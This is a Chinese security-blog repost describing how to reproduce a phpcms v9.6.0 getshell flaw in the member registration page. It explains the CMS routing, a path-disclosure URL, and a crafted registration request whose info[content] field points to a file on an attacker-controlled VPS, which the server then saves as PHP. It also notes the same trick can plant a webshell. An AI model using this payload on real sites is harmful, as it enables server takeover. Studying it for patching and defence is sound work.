phpcms v9.6.0 会员注册界面远程文件下载getshell

admin 2023年1月30日21:28:08评论116 views字数 1330阅读4分26秒阅读模式

预备知识

PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块或者功能,只有一个统一的入口。

参数名称 描述 位置 备注
m 模型/模块名称 phpcms/modules中模块目录名称 必须
c 控制器名称 phpcms/modules/模块/*.php 文件名称 必须
a 事件名称 phpcms/modules/模块/*.php 中方法名称

模块访问方法[示例]:http://www.xxx.com/index.php?m=content&c=index&a=show&id=1

其中 m = content 为模型/模块名称 位于phpcms/modules/content

c = index 为控制器名称 位于phpcms/modules/content/index.php

a = show 为时间名称 位于phpcms/modules/content/index.phpshow()方法id = 1 为其他参数 与正常get传递参数形式相同

还有一点就是访问http://www.xxx.com/index.php

phpcms默认路由会定位到content模块的index控制器中的init操作,因为系统在没有指定模块和控制器的时候,会执行默认的模块和操作.

所以跟访问http://www.xxx.com/index.php?m=content&c=index&a=init是一样的

安装环境

 http://127.0.0.1/ldfx/phpcms/install/install.php

phpcms v9.6.0 会员注册界面远程文件下载getshell

phpcms v9.6.0 会员注册界面远程文件下载getshell

后台管理地址

 http://127.0.0.1/ldfx/phpcms/index.php?m=admin&c=index&a=login&pc_hash=

phpcms v9.6.0 会员注册界面远程文件下载getshell

phpcms v9.6.0 会员注册界面远程文件下载getshell

用户注册地址

 http://127.0.0.1/ldfx/phpcms/index.php?m=member&c=index&a=register&siteid=1

phpcms v9.6.0 会员注册界面远程文件下载getshell

复现过程

爆出网站路径(只有没有设置只读权限的可以爆出路径)

 /phpcms/modules/attachment/templates/album_dir.tpl.php?author=111

phpcms v9.6.0 会员注册界面远程文件下载getshell

这里开始利用,在vps上上传一个txt文件,内容如下

phpcms v9.6.0 会员注册界面远程文件下载getshell

然后正常填写注册信息进行抓包修改poc

 siteid=1&modelid=11&username=Tao&password=123456&[email protected]&info[content]=<img src=http://xx.xx.xx.xx/1.txt?.php#.jpg>&dosubmit=1&protocol=

phpcms v9.6.0 会员注册界面远程文件下载getshell

可以看到返回了一个php文件地址,访问该地址显示了phpinfo的信息。那么我们远端vps上的内容已经被包含写入到了服务器中

phpcms v9.6.0 会员注册界面远程文件下载getshell

要注意的是在repeater里测试go时每一次都要修改usernamepasswordemail字段值,不能重复。否则只会默默的在服务器创建文件并返回操作失败的提示。这样的话就需要对文件进行爆破了。这里也可以借助该漏洞直接写马getshell

原文始发于微信公众号(守卫者安全):phpcms v9.6.0 会员注册界面远程文件下载getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月30日21:28:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   phpcms v9.6.0 会员注册界面远程文件下载getshellhttps://cn-sec.com/archives/1348218.html

发表评论

匿名网友 填写信息